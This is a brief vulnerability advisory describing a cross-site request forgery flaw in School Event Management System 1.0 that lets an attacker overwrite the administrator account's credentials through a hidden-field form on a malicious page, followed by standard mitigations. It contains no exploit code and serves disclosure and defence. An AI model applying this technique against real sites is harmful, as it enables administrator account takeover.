School Event Management System 1.0 – Cross-Site Request Forgery (Update Admin)

School Event Management System 1.0 is vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can craft a malicious HTML page that contains a form with hidden fields that can be used to update the administrator account. When an authenticated user visits the malicious page, the form will be submitted and the administrator account will be updated with the attacker's credentials.

Mitigation:

Implementing CSRF protection tokens, validating the HTTP Referer header, and using SameSite cookies can help mitigate CSRF attacks.
